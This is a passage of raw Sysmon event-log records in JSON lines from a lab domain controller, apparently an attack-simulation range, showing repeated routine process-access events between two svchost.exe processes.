12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.700\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.700","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.747\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:21.747","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:21.747\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: 